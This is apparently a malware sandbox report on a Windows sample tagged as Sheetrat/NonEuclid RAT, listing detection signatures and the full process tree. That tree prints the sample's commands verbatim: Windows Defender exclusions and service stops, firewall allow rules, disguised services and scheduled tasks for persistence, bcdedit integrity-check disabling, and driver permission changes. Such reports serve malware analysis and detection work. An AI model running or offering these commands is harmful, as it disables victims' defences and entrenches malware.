Analysis
- max time kernel
149s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
28/09/2026, 02:44
General
- Target 2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
- Size 13.0MB
- Sample260928-c8faastclh
- SHA256 ca8c2b32f4dad49187321099ce679dc7df29f68eded8b3e052be0375a5570815
Score
10/10
Malware Config
Signatures
- Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Detects Sheetrat Payload 2 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 3 IoCs
- UAC bypass 3 TTPs 12 IoCs
- Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs
- Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs
- Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
- Modifies boot configuration data using bcdedit 1 TTPs 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 52 IoCs
Run Powershell and hide display window.
- Drops file in Drivers directory 32 IoCs
- Modifies Windows Firewall 2 TTPs 3 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Executes a file named after a Windows system binary 1 TTPs 1 IoCs
The file runs from a user directory while carrying the name of an executable that normally only exists in System32.
- Executes dropped EXE 3 IoCs
- Modifies file permissions 1 TTPs 22 IoCs
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs
- Stops running service(s) 4 TTPs
- Windows security modification 2 TTPs 3 IoCs
- Checks whether UAC is enabled 1 TTPs 6 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in Program Files directory 4 IoCs
- Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 16 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Modifies Control Panel 2 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 29 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 47 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe"1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Checks computer location settings
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe" enable=yes & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe" enable=yes3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S2⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_3b60c7f8" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "OneDrive Standalone Update Task_3b60c7f8" /XML "C:\Users\Admin\AppData\Local\Temp\e77e3e93-662f-4227-86ee-d5d6f207ff9b.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "UsbCeip_b9403961" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "UsbCeip_b9403961" /XML "C:\Users\Admin\AppData\Local\Temp\0ce0211c-18a3-4001-9010-4da4353cb77c.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_cb1a24e7" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_cb1a24e7" /XML "C:\Users\Admin\AppData\Local\Temp\cc445c85-840a-4a9b-963e-1b765bed7e9b.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System32\BootFiles' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "UsbCeip_1bf49e90" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "UsbCeip_1bf49e90" /XML "C:\Users\Admin\AppData\Local\Temp\eda56856-e772-41f9-8966-ae4d215355fb.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_76bffc45" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_76bffc45" /XML "C:\Users\Admin\AppData\Local\Temp\da403ba3-333b-4b8a-8cfb-c8edc3aab6bf.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_3db7d8fe" /F2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_3db7d8fe" /XML "C:\Users\Admin\AppData\Local\Temp\da088a0f-4ad6-4810-8b75-daf2b19fd7ea.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 15 /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 15 /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\net.exe"net" stop WinDefend2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\net.exe"net" start WinDefend2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start WinDefend3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set testsigning on2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System32\BootFiles' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set nointegritychecks on2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S2⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c2⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set {current} testsigning off2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set testsigning on2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S2⤵
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit2⤵
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "svchost" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "svchost"3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "svchost" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "svchost" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "svchost_OnLock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "svchost_OnLock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "svchost_OnUnlock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "svchost_OnUnlock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "svchost_OnIdle" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "svchost_OnIdle" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "svchost_Evt4624" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "svchost_Evt4624" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\%System32%\System32\BootFiles\Boot.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System32\BootFiles' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Boot.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D2⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net" stop WinDefend3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "svchost" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "svchost"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "svchost_OnLock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "svchost_OnLock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
